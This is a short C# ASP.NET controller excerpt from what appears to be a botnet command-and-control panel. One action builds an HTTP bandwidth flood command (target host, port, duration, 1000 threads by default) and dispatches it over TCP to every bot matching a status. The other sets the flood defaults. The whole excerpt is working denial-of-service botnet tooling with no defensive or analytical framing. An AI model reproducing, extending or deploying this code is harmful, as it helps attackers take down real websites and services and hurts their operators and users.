public async Task <IActionResult> ExecuteHttpBandWidth(HttpBandWidthModel model) { var method = new BaseCommands { Method = "HttpBandWidth" }; var Variables = new HttpBandWidthVariables { Port = model.Port, PostDATA = model.PostDATA, RandomFile = model.RandomFile }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new HttpBandWidthCommand { newHttpBandWidthVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public IActionResult HttpBandwidth() { var model = new HttpBandWidthModel { Port = 80, PostDATA = "Dabala DUDU", ThreadstoUse = 1000, Time = 60 }; return(PartialView("_HttpBandwidth", model)); }